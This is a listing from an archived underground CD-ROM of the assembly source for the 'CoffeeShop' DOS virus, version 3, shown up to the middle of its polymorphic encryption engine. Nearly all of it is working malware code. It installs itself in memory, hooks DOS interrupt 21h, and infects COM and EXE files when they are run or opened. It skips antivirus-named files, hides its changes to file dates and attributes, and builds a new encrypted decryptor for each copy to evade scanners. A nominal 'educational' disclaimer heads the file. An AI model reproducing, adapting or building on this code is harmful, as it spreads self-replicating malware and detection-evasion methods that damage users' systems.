home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / coffshp3.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  60.9 KB  |  1,674 lines

  1. ;******************************************************************************
  2.  
  3. ;*  CoffeeShop VIRUS     version 3
  4.  
  5. ;*
  6.  
  7. ;*  Use MASM 4.0 to compile this source
  8.  
  9. ;*  (other assemblers will probably not produce the same result)
  10.  
  11. ;*
  12.  
  13. ;*  Disclaimer:
  14.  
  15. ;*  This file is only for educational purposes. The author takes no
  16.  
  17. ;*  responsibility for anything anyone does with this file. Do not
  18.  
  19. ;*  modify this file!
  20.  
  21. ;******************************************************************************
  22.  
  23.  
  24.  
  25.  
  26.  
  27.                 .RADIX  16
  28.  
  29.  
  30.  
  31.  
  32.  
  33. _TEXT           segment
  34.  
  35.  
  36.  
  37.                 assume  cs:_TEXT, ds:_TEXT
  38.  
  39.  
  40.  
  41.  
  42.  
  43. VERSION         equ     3
  44.  
  45. PICLEN          equ     last - beeld            ;length of picture routine
  46.  
  47. FILELEN         equ     last - first            ;length of virus
  48.  
  49. FILEPAR         equ     (FILELEN + 0F)/10       ;length of virus in paragraphs
  50.  
  51. VIRPAR          equ     00D0                    ;space for resident virus
  52.  
  53. WORKPAR         equ     0160                    ;work space for engine
  54.  
  55. STACKOFF        equ     1000                    ;Stack offset
  56.  
  57. DATAPAR         equ     0050                    ;extra memory allocated
  58.  
  59. BUFLEN          equ     1C                      ;length of buffer
  60.  
  61.  
  62.  
  63.  
  64.  
  65. ;****************************************************************************
  66.  
  67. ;*              data area for virus
  68.  
  69. ;****************************************************************************
  70.  
  71.  
  72.  
  73.                 org     00E0
  74.  
  75.  
  76.  
  77. mutstack        dw      0, 0
  78.  
  79. oldlen          dw      0, 0
  80.  
  81. oi21            dw      0, 0
  82.  
  83. minibuf         db      0, 0, 0, 0
  84.  
  85.  
  86.  
  87.  
  88.  
  89. ;****************************************************************************
  90.  
  91. ;*              data area for engine
  92.  
  93. ;****************************************************************************
  94.  
  95.  
  96.  
  97. add_val         dw      0
  98.  
  99. xor_val         dw      0
  100.  
  101. xor_offset      dw      0
  102.  
  103. where_len       dw      0
  104.  
  105. where_len2      dw      0
  106.  
  107. flags           db      0
  108.  
  109.  
  110.  
  111.  
  112.  
  113. ;******************************************************************************
  114.  
  115. ;*              Begin of virus, installation in memory
  116.  
  117. ;******************************************************************************
  118.  
  119.  
  120.  
  121.                 org     0100
  122.  
  123.  
  124.  
  125. first:          call    next                    ;get IP
  126.  
  127. next:           pop     si
  128.  
  129.  
  130.  
  131.                 sub     si,low 3                ;SI = begin virus
  132.  
  133.                 mov     di,0100
  134.  
  135.                 cld
  136.  
  137.  
  138.  
  139.                 push    ax                      ;save registers
  140.  
  141.                 push    ds
  142.  
  143.                 push    es
  144.  
  145.                 push    di
  146.  
  147.                 push    si
  148.  
  149.  
  150.  
  151.                 mov     ah,30                   ;DOS version >= 3.1?
  152.  
  153.                 int     21
  154.  
  155.                 xchg    ah,al
  156.  
  157.                 cmp     ax,030A
  158.  
  159.                 jb      not_install
  160.  
  161.  
  162.  
  163.                 mov     ax,33DA                 ;already resident?
  164.  
  165.                 int     21
  166.  
  167.                 cmp     ah,0A5
  168.  
  169.                 je      not_install
  170.  
  171.  
  172.  
  173.                 mov     ax,es                   ;adjust memory-size
  174.  
  175.                 dec     ax
  176.  
  177.                 mov     ds,ax
  178.  
  179.                 xor     bx,bx
  180.  
  181.                 cmp     byte ptr [bx],5A
  182.  
  183.                 jne     not_install
  184.  
  185.                 mov     ax,[bx+3]
  186.  
  187.                 sub     ax,(VIRPAR+WORKPAR)
  188.  
  189.                 jb      not_install
  190.  
  191.                 mov     [bx+3],ax
  192.  
  193.                 sub     word ptr ds:[bx+12],(VIRPAR+WORKPAR)
  194.  
  195.  
  196.  
  197.                 mov     es,[bx+12]              ;copy program to top
  198.  
  199.                 push    cs
  200.  
  201.                 pop     ds
  202.  
  203.                 mov     cx,FILELEN
  204.  
  205.         rep     movsb
  206.  
  207.  
  208.  
  209.                 push    es
  210.  
  211.                 pop     ds
  212.  
  213.  
  214.  
  215.                 mov     ax,3521                 ;get original int21 vector
  216.  
  217.                 int     21
  218.  
  219.                 mov     ds:[oi21],bx
  220.  
  221.                 mov     ds:[oi21+2],es
  222.  
  223.  
  224.  
  225.                 mov     dx,offset ni21          ;install new int21 handler
  226.  
  227.                 mov     ax,2521
  228.  
  229.                 int     21
  230.  
  231.  
  232.  
  233.                 mov     ax,33DBh                ;init. random nr. generator
  234.  
  235.                 int     21
  236.  
  237.  
  238.  
  239.                 mov     ah,2A                   ;ask date
  240.  
  241.                 int     21
  242.  
  243.                 cmp     al,5                    ;friday ?
  244.  
  245.                 jne     not_install
  246.  
  247.                 mov     ah,2C                   ;ask time
  248.  
  249.                 int     21
  250.  
  251.                 or      dh,dh                   ;sec = 0 ?
  252.  
  253.                 jnz     not_install
  254.  
  255.                 
  256.  
  257.                 mov     ax,33DC                 ;show picture
  258.  
  259.                 int     21
  260.  
  261.  
  262.  
  263. not_install:    pop     si                      ;restore registers
  264.  
  265.                 pop     di
  266.  
  267.                 pop     es
  268.  
  269.                 pop     ds
  270.  
  271.                 pop     ax
  272.  
  273.  
  274.  
  275.                 add     si,(offset buffer)
  276.  
  277.                 sub     si,di
  278.  
  279.                 cmp     byte ptr cs:[si],4Dh    ;COM or EXE ?
  280.  
  281.                 je      entryE
  282.  
  283.  
  284.  
  285. entryC:         push    di
  286.  
  287.                 mov     cx,BUFLEN
  288.  
  289.         rep     movsb
  290.  
  291.                 ret
  292.  
  293.  
  294.  
  295. entryE:         mov     bx,ds                   ;calculate CS
  296.  
  297.                 add     bx,low 10
  298.  
  299.                 mov     cx,bx
  300.  
  301.                 add     bx,cs:[si+0E]
  302.  
  303.                 cli                             ;restore SS and SP
  304.  
  305.                 mov     ss,bx
  306.  
  307.                 mov     sp,cs:[si+10]
  308.  
  309.                 sti
  310.  
  311.                 add     cx,cs:[si+16]
  312.  
  313.                 push    cx                      ;push new CS on stack
  314.  
  315.                 push    cs:[si+14]              ;push new IP on stack
  316.  
  317.                 db      0CBh                    ;retf
  318.  
  319.  
  320.  
  321.  
  322.  
  323. ;******************************************************************************
  324.  
  325. ;*              Interupt 24 handler
  326.  
  327. ;******************************************************************************
  328.  
  329.  
  330.  
  331. ni24:           mov     al,3                    ;to avoid 'Abort, Retry, ...'
  332.  
  333.                 iret
  334.  
  335.  
  336.  
  337.  
  338.  
  339. ;******************************************************************************
  340.  
  341. ;*              Interupt 21 handler
  342.  
  343. ;******************************************************************************
  344.  
  345.  
  346.  
  347. ni21:           pushf
  348.  
  349.  
  350.  
  351.                 cmp     ax,33DA                 ;install-check ?
  352.  
  353.                 jne     not_ic
  354.  
  355.                 mov     ax,0A500+VERSION        ;return a signature
  356.  
  357.                 popf
  358.  
  359.                 iret
  360.  
  361.  
  362.  
  363. not_ic:         push    es                      ;save registers
  364.  
  365.                 push    ds
  366.  
  367.                 push    si
  368.  
  369.                 push    di
  370.  
  371.                 push    dx
  372.  
  373.                 push    cx
  374.  
  375.                 push    bx
  376.  
  377.                 push    ax
  378.  
  379.  
  380.  
  381.                 cmp     ax,33DBh                ;rnd init ?
  382.  
  383.                 jne     not_ri
  384.  
  385.                 call    rnd_init
  386.  
  387.                 jmp     short no_infect
  388.  
  389.  
  390.  
  391. not_ri:         cmp     ax,33DC                 ;show picture?
  392.  
  393.                 je      show_pic
  394.  
  395.  
  396.  
  397. not_pi:         cmp     ax,4B00                 ;execute ?
  398.  
  399.                 je      do_it
  400.  
  401.  
  402.  
  403.                 cmp     ax,6C00                 ;open DOS 4.0+ ?
  404.  
  405.                 jne     no_infect
  406.  
  407.                 test    bl,3
  408.  
  409.                 jnz     no_infect
  410.  
  411.                 mov     dx,di
  412.  
  413.  
  414.  
  415. do_it:          call    infect
  416.  
  417.  
  418.  
  419. no_infect:      pop     ax                      ;restore registers
  420.  
  421.                 pop     bx
  422.  
  423.                 pop     cx
  424.  
  425.                 pop     dx
  426.  
  427.                 pop     di
  428.  
  429.                 pop     si
  430.  
  431.                 pop     ds
  432.  
  433.                 pop     es
  434.  
  435.                 popf
  436.  
  437.  
  438.  
  439. org21:          jmp     dword ptr cs:[oi21]     ;call to old int-handler
  440.  
  441.  
  442.  
  443.  
  444.  
  445. ;******************************************************************************
  446.  
  447. ;*              Show picture
  448.  
  449. ;******************************************************************************
  450.  
  451.  
  452.  
  453. show_pic:       mov     ax,offset no_infect     ;push return adres on stack
  454.  
  455.                 push    cs
  456.  
  457.                 push    ax
  458.  
  459.  
  460.  
  461.                 mov     di,((VIRPAR*10)+0100)   ;move picture routine
  462.  
  463.                 mov     si,offset beeld
  464.  
  465.                 mov     cx,PICLEN
  466.  
  467.                 push    cs
  468.  
  469.                 pop     ds
  470.  
  471.                 push    cs
  472.  
  473.                 pop     es
  474.  
  475.         rep     movsb
  476.  
  477.  
  478.  
  479.                 mov     ax,cs                   ;calculate segment registers
  480.  
  481.                 add     ax,low VIRPAR
  482.  
  483.                 mov     ds,ax
  484.  
  485.                 mov     es,ax
  486.  
  487.  
  488.  
  489.                 push    ax                      ;push picture adres on stack
  490.  
  491.                 mov     ax,0100
  492.  
  493.                 push    ax
  494.  
  495.  
  496.  
  497.                 db      0CBh                    ;(retf) goto picture routine
  498.  
  499.  
  500.  
  501.  
  502.  
  503. ;******************************************************************************
  504.  
  505. ;*              Tries to infect the file
  506.  
  507. ;******************************************************************************
  508.  
  509.  
  510.  
  511. infect:         cld
  512.  
  513.  
  514.  
  515.                 push    cs                      ;copy filename to CS:0000
  516.  
  517.                 pop     es
  518.  
  519.                 mov     si,dx
  520.  
  521.                 xor     di,di
  522.  
  523.                 mov     cx,0080
  524.  
  525. namemove:       lodsb
  526.  
  527.                 cmp     al,0
  528.  
  529.                 je      moved
  530.  
  531.                 cmp     al,'a'
  532.  
  533.                 jb      char_ok
  534.  
  535.                 cmp     al,'z'
  536.  
  537.                 ja      char_ok
  538.  
  539.                 xor     al,20                   ;convert to upper case
  540.  
  541. char_ok:        stosb
  542.  
  543.                 loop    namemove
  544.  
  545. return0:        ret
  546.  
  547.  
  548.  
  549. moved:          stosb                           ;put last zero after filename
  550.  
  551.                 lea     si,[di-5]
  552.  
  553.                 push    cs
  554.  
  555.                 pop     ds
  556.  
  557.                 
  558.  
  559.                 lodsw                           ;check extension .COM or .EXE
  560.  
  561.                 cmp     ax,'E.'
  562.  
  563.                 jne     not_exe
  564.  
  565.                 lodsw
  566.  
  567.                 cmp     ax,'EX'
  568.  
  569.                 jmp     short check
  570.  
  571.  
  572.  
  573. not_exe:        cmp     ax,'C.'
  574.  
  575.                 jne     return0
  576.  
  577.                 lodsw
  578.  
  579.                 cmp     ax,'MO'
  580.  
  581. check:          jne     return0
  582.  
  583.  
  584.  
  585.                 std                             ;find begin of filename
  586.  
  587.                 mov     cx,si
  588.  
  589.                 inc     cx
  590.  
  591. searchbegin:    lodsb
  592.  
  593.                 cmp     al,':'
  594.  
  595.                 je      checkname
  596.  
  597.                 cmp     al,'\'
  598.  
  599.                 je      checkname
  600.  
  601.                 loop    searchbegin
  602.  
  603.                 dec     si
  604.  
  605.  
  606.  
  607. checkname:      cld                             ;check filename
  608.  
  609.                 lodsw
  610.  
  611.                 lodsw
  612.  
  613.                 mov     di,offset names
  614.  
  615.                 mov     cl,13
  616.  
  617.         repnz   scasw
  618.  
  619.                 je      return0
  620.  
  621.  
  622.  
  623.                 mov     ax,3300                 ;get ctrl-break flag
  624.  
  625.                 int     21
  626.  
  627.                 push    dx                      ;save flag on stack
  628.  
  629.  
  630.  
  631.                 cwd                             ;clear the flag
  632.  
  633.                 inc     ax
  634.  
  635.                 push    ax
  636.  
  637.                 int     21
  638.  
  639.  
  640.  
  641.                 mov     ax,3524                 ;get int24 vector
  642.  
  643.                 int     21
  644.  
  645.                 push    es                      ;save vector on stack
  646.  
  647.                 push    bx
  648.  
  649.  
  650.  
  651.                 push    cs
  652.  
  653.                 pop     ds
  654.  
  655.  
  656.  
  657.                 mov     dx,offset ni24          ;install new int24 handler
  658.  
  659.                 mov     ah,25
  660.  
  661.                 push    ax
  662.  
  663.                 int     21
  664.  
  665.  
  666.  
  667.                 mov     ax,4300                 ;ask file-attributes
  668.  
  669.                 cwd
  670.  
  671.                 int     21
  672.  
  673.                 push    cx                      ;save attributes on stack
  674.  
  675.  
  676.  
  677.                 xor     cx,cx                   ;clear attributes
  678.  
  679.                 mov     ax,4301
  680.  
  681.                 push    ax
  682.  
  683.                 int     21
  684.  
  685.                 jc      return1v
  686.  
  687.  
  688.  
  689.                 mov     ax,3D02                 ;open the file
  690.  
  691.                 int     21
  692.  
  693.                 jnc     opened
  694.  
  695. return1v:       jmp     return1
  696.  
  697.  
  698.  
  699. opened:         xchg    ax,bx                   ;save handle
  700.  
  701.  
  702.  
  703.                 mov     ax,5700                 ;get file date & time
  704.  
  705.                 int     21
  706.  
  707.                 push    dx                      ;save date & time on stack
  708.  
  709.                 push    cx
  710.  
  711.  
  712.  
  713.                 mov     cx,BUFLEN               ;read begin of file
  714.  
  715.                 mov     si,offset buffer
  716.  
  717.                 mov     dx,si
  718.  
  719.                 call    read
  720.  
  721.                 jc      closev
  722.  
  723.  
  724.  
  725.                 mov     ax,4202                 ;goto end, get filelength
  726.  
  727.                 xor     cx,cx
  728.  
  729.                 cwd
  730.  
  731.                 int     21
  732.  
  733.  
  734.  
  735.                 mov     di,offset oldlen        ;save filelength
  736.  
  737.                 mov     [di],ax
  738.  
  739.                 mov     [di+2],dx
  740.  
  741.  
  742.  
  743.                 mov     ax,word ptr [si+12]     ;already infected?
  744.  
  745.                 add     al,ah
  746.  
  747.                 cmp     al,'@'
  748.  
  749.                 jz      closev
  750.  
  751.  
  752.  
  753.                 cmp     word ptr [si],'ZM'      ;EXE ?
  754.  
  755.                 je      do_EXE
  756.  
  757.  
  758.  
  759. do_COM:         test    byte ptr [si],80        ;maybe a strange EXE?
  760.  
  761.                 jz      closev
  762.  
  763.  
  764.  
  765.                 mov     ax,word ptr [di]        ;check lenght of file
  766.  
  767.                 cmp     ah,0D0
  768.  
  769.                 jae     closev
  770.  
  771.                 cmp     ah,1
  772.  
  773.                 jb      closev
  774.  
  775.  
  776.  
  777.                 mov     dx,ax
  778.  
  779.                 add     dx,0100
  780.  
  781.                 call    writeprog               ;call Engine and write virus
  782.  
  783.                 jne     closev
  784.  
  785.  
  786.  
  787.                 mov     byte ptr [si],0E9       ;put 'JMP xxxx' at begin
  788.  
  789.                 sub     ax,low 3
  790.  
  791.                 mov     word ptr [si+1],ax
  792.  
  793.                 jmp     done
  794.  
  795.  
  796.  
  797. closev:         jmp     close
  798.  
  799.  
  800.  
  801. do_EXE:         cmp     word ptr [si+18],40     ;is it a windows/OS2 EXE ?
  802.  
  803.                 jb      not_win
  804.  
  805.  
  806.  
  807.                 mov     ax,003C
  808.  
  809.                 cwd
  810.  
  811.                 call    readbytes
  812.  
  813.                 jc      closev
  814.  
  815.  
  816.  
  817.                 mov     ax,word ptr [di+8]
  818.  
  819.                 mov     dx,word ptr [di+0A]
  820.  
  821.                 call    readbytes
  822.  
  823.                 jc      closev
  824.  
  825.                 
  826.  
  827.                 cmp     byte ptr [di+9],'E'
  828.  
  829.                 je      closev
  830.  
  831.  
  832.  
  833. not_win:        call    getlen
  834.  
  835.                 call    calclen                 ;check for internal overlays
  836.  
  837.                 cmp     word ptr [si+4],ax
  838.  
  839.                 jne     close
  840.  
  841.                 cmp     word ptr [si+2],dx
  842.  
  843.                 jne     close
  844.  
  845.  
  846.  
  847.                 cmp     word ptr [si+0C],0      ;high memory allocation?
  848.  
  849.                 je      close
  850.  
  851.  
  852.  
  853.                 cmp     word ptr [si+1A],0      ;overlay nr. not zero?
  854.  
  855.                 jne     close
  856.  
  857.  
  858.  
  859.                 call    getlen                  ;calculate new CS & IP
  860.  
  861.                 mov     cx,0010
  862.  
  863.                 div     cx
  864.  
  865.                 sub     ax,word ptr [si+8]
  866.  
  867.                 dec     ax
  868.  
  869.                 add     dx,low 10
  870.  
  871.  
  872.  
  873.                 call    writeprog               ;call Engine and write virus
  874.  
  875.                 jne     close
  876.  
  877.  
  878.  
  879.                 mov     word ptr [si+16],ax     ;put CS in header
  880.  
  881.                 mov     word ptr [si+0E],ax     ;put SS in header
  882.  
  883.                 mov     word ptr [si+14],dx     ;put IP in header
  884.  
  885.                 mov     word ptr [si+10],STACKOFF  ;put SP in header
  886.  
  887.  
  888.  
  889.                 call    getlen
  890.  
  891.                 add     ax,cx
  892.  
  893.                 adc     dx,0
  894.  
  895.                 call    calclen                 ;put new length in header
  896.  
  897.                 mov     word ptr [si+4],ax
  898.  
  899.                 mov     word ptr [si+2],dx
  900.  
  901.  
  902.  
  903.                 lea     di,[si+0A]              ;adjust mem. allocation info
  904.  
  905.                 call    mem_adjust
  906.  
  907.                 lea     di,[si+0C]
  908.  
  909.                 call    mem_adjust
  910.  
  911.  
  912.  
  913. done:           call    gotobegin
  914.  
  915.                 call    rnd_get                 ;signature
  916.  
  917.                 mov     ah,'@'
  918.  
  919.                 sub     ah,al
  920.  
  921.                 mov     word ptr [si+12],ax
  922.  
  923.                 mov     cx,BUFLEN               ;write new begin
  924.  
  925.                 mov     dx,si
  926.  
  927.                 mov     ah,40
  928.  
  929.                 int     21
  930.  
  931.  
  932.  
  933. close:          pop     cx                      ;restore date & time
  934.  
  935.                 pop     dx
  936.  
  937.                 mov     ax,5701
  938.  
  939.                 int     21
  940.  
  941.  
  942.  
  943.                 mov     ah,3E                   ;close the file
  944.  
  945.                 int     21
  946.  
  947.  
  948.  
  949. return1:        pop     ax                      ;restore attributes
  950.  
  951.                 pop     cx
  952.  
  953.                 cwd
  954.  
  955.                 int     21
  956.  
  957.  
  958.  
  959.                 pop     ax                      ;restore int24 vector
  960.  
  961.                 pop     dx
  962.  
  963.                 pop     ds
  964.  
  965.                 int     21
  966.  
  967.  
  968.  
  969.                 pop     ax                      ;restore ctrl-break flag
  970.  
  971.                 pop     dx
  972.  
  973.                 int     21
  974.  
  975.  
  976.  
  977.                 ret
  978.  
  979.  
  980.  
  981.  
  982.  
  983. ;******************************************************************************
  984.  
  985. ;*              Filenames to avoid
  986.  
  987. ;******************************************************************************
  988.  
  989.  
  990.  
  991. names:          db      'CO', 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI'
  992.  
  993.                 db      'FI', 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', '  '
  994.  
  995.                 db      '  ', '  ', '  '
  996.  
  997.  
  998.  
  999.  
  1000.  
  1001. ;******************************************************************************
  1002.  
  1003. ;*              Write virus to the program
  1004.  
  1005. ;******************************************************************************
  1006.  
  1007.  
  1008.  
  1009. writeprog:      push    ax                      ;save registers
  1010.  
  1011.                 push    dx
  1012.  
  1013.                 push    si
  1014.  
  1015.                 push    bp
  1016.  
  1017.                 push    es
  1018.  
  1019.  
  1020.  
  1021.                 cli
  1022.  
  1023.                 mov     word ptr [di-4],ss      ;save SS & SP
  1024.  
  1025.                 mov     word ptr [di-2],sp
  1026.  
  1027.  
  1028.  
  1029.                 mov     ax,cs                   ;new stack & buffer-segment
  1030.  
  1031.                 mov     ss,ax
  1032.  
  1033.                 mov     sp,((VIRPAR + WORKPAR) * 10)
  1034.  
  1035.                 add     ax,low VIRPAR
  1036.  
  1037.                 mov     es,ax
  1038.  
  1039.                 sti
  1040.  
  1041.  
  1042.  
  1043.                 push    ds
  1044.  
  1045.  
  1046.  
  1047.                 mov     bp,dx                   ;input parameters for engine
  1048.  
  1049.                 mov     dx,0100
  1050.  
  1051.                 mov     cx,FILELEN
  1052.  
  1053.                 xor     si,si
  1054.  
  1055.                 mov     al,0Fh
  1056.  
  1057.  
  1058.  
  1059.                 push    di
  1060.  
  1061.                 push    bx
  1062.  
  1063.  
  1064.  
  1065.                 call    crypt                   ;call the Engine
  1066.  
  1067.  
  1068.  
  1069.                 pop     bx
  1070.  
  1071.                 pop     di
  1072.  
  1073.  
  1074.  
  1075.                 push    cx
  1076.  
  1077.                 push    dx
  1078.  
  1079.                 mov     ax,4202                 ;goto end
  1080.  
  1081.                 xor     cx,cx
  1082.  
  1083.                 cwd
  1084.  
  1085.                 int     21
  1086.  
  1087.                 pop     dx
  1088.  
  1089.                 pop     cx
  1090.  
  1091.  
  1092.  
  1093.                 mov     ah,40                   ;write virus
  1094.  
  1095.                 int     21
  1096.  
  1097.                 cmp     ax,cx                   ;are all bytes written?
  1098.  
  1099.  
  1100.  
  1101.                 pop     ds
  1102.  
  1103.  
  1104.  
  1105.                 cli
  1106.  
  1107.                 mov     ss,word ptr [di-4]      ;restore stack
  1108.  
  1109.                 mov     sp,word ptr [di-2]
  1110.  
  1111.                 sti
  1112.  
  1113.  
  1114.  
  1115.                 pop     es                      ;restore registers
  1116.  
  1117.                 pop     bp
  1118.  
  1119.                 pop     si
  1120.  
  1121.                 pop     dx
  1122.  
  1123.                 pop     ax
  1124.  
  1125.  
  1126.  
  1127.                 ret
  1128.  
  1129.  
  1130.  
  1131.  
  1132.  
  1133. ;******************************************************************************
  1134.  
  1135. ;*              Adjust mem allocation info in EXE header
  1136.  
  1137. ;******************************************************************************
  1138.  
  1139.  
  1140.  
  1141. mem_adjust:     mov     ax,[di]
  1142.  
  1143.                 sub     ax,low FILEPAR          ;alloc. may be this much less
  1144.  
  1145.                 jb      more
  1146.  
  1147.                 cmp     ax,DATAPAR              ;minimum amount to allocate
  1148.  
  1149.                 jae     mem_ok
  1150.  
  1151. more:           mov     ax,DATAPAR
  1152.  
  1153. mem_ok:         mov     [di],ax
  1154.  
  1155.                 ret
  1156.  
  1157.  
  1158.  
  1159.  
  1160.  
  1161. ;******************************************************************************
  1162.  
  1163. ;*              Read a few bytes
  1164.  
  1165. ;******************************************************************************
  1166.  
  1167.  
  1168.  
  1169. readbytes:      call    goto
  1170.  
  1171.                 mov     dx,offset minibuf
  1172.  
  1173.                 mov     cx,4
  1174.  
  1175. read:           mov     ah,3F
  1176.  
  1177.                 int     21
  1178.  
  1179.                 ret
  1180.  
  1181.  
  1182.  
  1183.  
  1184.  
  1185. ;******************************************************************************
  1186.  
  1187. ;*              Calculate length for EXE header
  1188.  
  1189. ;******************************************************************************
  1190.  
  1191.  
  1192.  
  1193. calclen:        mov     cx,0200
  1194.  
  1195.                 div     cx
  1196.  
  1197.                 or      dx,dx
  1198.  
  1199.                 jz      no_cor
  1200.  
  1201.                 inc     ax
  1202.  
  1203. no_cor:         ret
  1204.  
  1205.  
  1206.  
  1207.  
  1208.  
  1209. ;******************************************************************************
  1210.  
  1211. ;*              Get original length of program
  1212.  
  1213. ;******************************************************************************
  1214.  
  1215.  
  1216.  
  1217. getlen:         mov     ax,[di]
  1218.  
  1219.                 mov     dx,[di+2]
  1220.  
  1221.                 ret
  1222.  
  1223.  
  1224.  
  1225.  
  1226.  
  1227. ;******************************************************************************
  1228.  
  1229. ;*              Goto new offset DX:AX
  1230.  
  1231. ;******************************************************************************
  1232.  
  1233.  
  1234.  
  1235. gotobegin:      xor     ax,ax
  1236.  
  1237.                 cwd
  1238.  
  1239. goto:           xchg    cx,dx
  1240.  
  1241.                 xchg    ax,dx
  1242.  
  1243.                 mov     ax,4200
  1244.  
  1245.                 int     21
  1246.  
  1247.                 ret
  1248.  
  1249.  
  1250.  
  1251.  
  1252.  
  1253. ;****************************************************************************
  1254.  
  1255. ;*
  1256.  
  1257. ;*              Encryption Engine
  1258.  
  1259. ;*
  1260.  
  1261. ;*
  1262.  
  1263. ;*      Input:  ES      work segment
  1264.  
  1265. ;*              DS:DX   code to encrypt
  1266.  
  1267. ;*              BP      what will be start of decryptor
  1268.  
  1269. ;*              SI      what will be distance between decryptor and code
  1270.  
  1271. ;*              CX      length of code
  1272.  
  1273. ;*              AX      flags: bit 0: DS will not be equal to CS
  1274.  
  1275. ;*                             bit 1: insert random instructions
  1276.  
  1277. ;*                             bit 2: put junk before decryptor
  1278.  
  1279. ;*                             bit 3: preserve AX with decryptor
  1280.  
  1281. ;*
  1282.  
  1283. ;*      Output: ES:     work segment (preserved)
  1284.  
  1285. ;*              DS:DX   decryptor + encrypted code
  1286.  
  1287. ;*              BP      what will be start of decryptor (preserved)
  1288.  
  1289. ;*              DI      length of decryptor / offset of encrypted code
  1290.  
  1291. ;*              CX      length of decryptor + encrypted code
  1292.  
  1293. ;*              AX      length of encrypted code
  1294.  
  1295. ;*              (other registers may be trashed)
  1296.  
  1297. ;*
  1298.  
  1299. ;****************************************************************************
  1300.  
  1301.  
  1302.  
  1303.                 db      '[ MK / Trident ]'
  1304.  
  1305.  
  1306.  
  1307. crypt:          xor     di,di                   ;di = start of decryptor
  1308.  
  1309.                 push    dx                      ;save offset of code
  1310.  
  1311.                 push    si                      ;save future offset of code
  1312.  
  1313.  
  1314.  
  1315.                 mov     byte ptr ds:[flags],al  ;save flags
  1316.  
  1317.                 test    al,8                    ;push  AX?
  1318.  
  1319.                 jz      no_push
  1320.  
  1321.                 mov     al,50
  1322.  
  1323.                 stosb
  1324.  
  1325.  
  1326.  
  1327. no_push:        call    rnd_get                 ;add a few bytes to cx
  1328.  
  1329.                 and     ax,1F
  1330.  
  1331.                 add     cx,ax
  1332.  
  1333.                 push    cx                      ;save length of code
  1334.  
  1335.  
  1336.  
  1337.                 call    rnd_get                 ;get random flags
  1338.  
  1339.                 xchg    ax,bx
  1340.  
  1341.                                         ;BX flags:
  1342.  
  1343.  
  1344.  
  1345.                                         ;0,1    how to encrypt
  1346.  
  1347.                                         ;2,3    which register for encryption
  1348.  
  1349.                                         ;4      use byte or word for encrypt
  1350.  
  1351.                                         ;5      MOV AL, MOV AH or MOV AX
  1352.  
  1353.                                         ;6      MOV CL, MOV CH or MOV CX
  1354.  
  1355.                                         ;7      AX or DX
  1356.  
  1357.  
  1358.  
  1359.                                         ;8      count up or down
  1360.  
  1361.                                         ;9      ADD/SUB/INC/DEC or CMPSW/SCASW
  1362.  
  1363.                                         ;A      ADD/SUB or INC/DEC
  1364.  
  1365.                                         ;       CMPSW or SCASW
  1366.  
  1367.                                         ;B      offset in XOR instruction?
  1368.  
  1369.                                         ;C      LOOPNZ or LOOP
  1370.  
  1371.                                         ;       SUB CX or DEC CX
  1372.  
  1373.                                         ;D      carry with crypt ADD/SUB
  1374.  
  1375.                                         ;E      carry with inc ADD/SUB
  1376.  
  1377.                                         ;F      XOR instruction value or AX/DX
  1378.  
  1379.  
  1380.  
  1381. random:         call    rnd_get                 ;get random encryption value
  1382.  
  1383.                 or      al,al
  1384.  
  1385.                 jz      random                  ;again if 0
  1386.  
  1387.                 mov     ds:[xor_val],ax
  1388.  
  1389.  
  1390.  
  1391.                 call    do_junk                 ;insert random instructions
  1392.  
  1393.  
  1394.  
  1395.                 pop     cx
  1396.  
  1397.  
  1398.  
  1399.                 mov     ax,0111                 ;make flags to remember which
  1400.  
  1401.                 test    bl,20                   ;  MOV instructions are used
  1402.  
  1403.                 jnz     z0
  1404.  
  1405.                 xor     al,07
  1406.  
  1407. z0:             test    bl,0C
  1408.  
  1409.                 jnz     z1
  1410.  
  1411.                 xor     al,70
  1412.  
  1413. z1:             test    bl,40
  1414.  
  1415.                 jnz     z2
  1416.  
  1417.                 xor     ah,7
  1418.  
  1419. z2:             test    bl,10
  1420.  
  1421.                 jnz     z3
  1422.  
  1423.                 and     al,73
  1424.  
  1425. z3:             test    bh,80
  1426.  
  1427.                 jnz     z4
  1428.  
  1429.                 and     al,70
  1430.  
  1431.  
  1432.  
  1433. z4:             mov     dx,ax
  1434.  
  1435. mov_lup:        call    rnd_get                 ;put MOV instructions in
  1436.  
  1437.                 and     ax,000F                 ;  a random order
  1438.  
  1439.                 cmp     al,0A
  1440.  
  1441.                 ja      mov_lup
  1442.  
  1443.  
  1444.  
  1445.                 mov     si,ax
  1446.  
  1447.                 push    cx                      ;test if MOV already done
  1448.  
  1449.                 xchg    ax,cx
  1450.  
  1451.                 mov     ax,1
  1452.  
  1453.                 shl     ax,cl
  1454.  
  1455.                 mov     cx,ax
  1456.  
  1457.                 and     cx,dx
  1458.  
  1459.                 pop     cx
  1460.  
  1461.                 jz      mov_lup
  1462.  
  1463.                 xor     dx,ax                   ;remember which MOV done
  1464.  
  1465.  
  1466.  
  1467.                 push    dx
  1468.  
  1469.                 call    do_mov                  ;insert MOV instruction
  1470.  
  1471.                 call    do_nop                  ;insert a random NOP
  1472.  
  1473.                 pop     dx
  1474.  
  1475.  
  1476.  
  1477.                 or      dx,dx                   ;all MOVs done?
  1478.  
  1479.                 jnz     mov_lup
  1480.  
  1481.  
  1482.  
  1483.                 push    di                      ;save start of decryptor loop
  1484.  
  1485.  
  1486.  
  1487.                 call    do_add_ax               ;add a value to AX in loop?
  1488.  
  1489.                 call    do_nop
  1490.  
  1491.                 test    bh,20                   ;carry with ADD/SUB ?
  1492.  
  1493.                 jz      no_clc
  1494.  
  1495.                 mov     al,0F8
  1496.  
  1497.                 stosb
  1498.  
  1499. no_clc:         mov     word ptr ds:[xor_offset],0
  1500.  
  1501.                 call    do_xor                  ;place all loop instructions
  1502.  
  1503.                 call    do_nop
  1504.  
  1505.                 call    do_add
  1506.  
  1507.  
  1508.  
  1509.                 pop     dx                      ;get start of decryptor loop
  1510.  
  1511.  
  1512.  
  1513.                 call    do_loop
  1514.  
  1515.  
  1516.  
  1517.                 test    byte ptr ds:[flags],8   ;insert POP AX ?
  1518.  
  1519.                 jz      no_pop
  1520.  
  1521.                 mov     al,58
  1522.  
  1523.                 stosb
  1524.  
  1525.  
  1526.  
  1527. no_pop:         xor     ax,ax                   ;calculate loop offset
  1528.  
  1529.                 test    bh,1                    ;up or down?
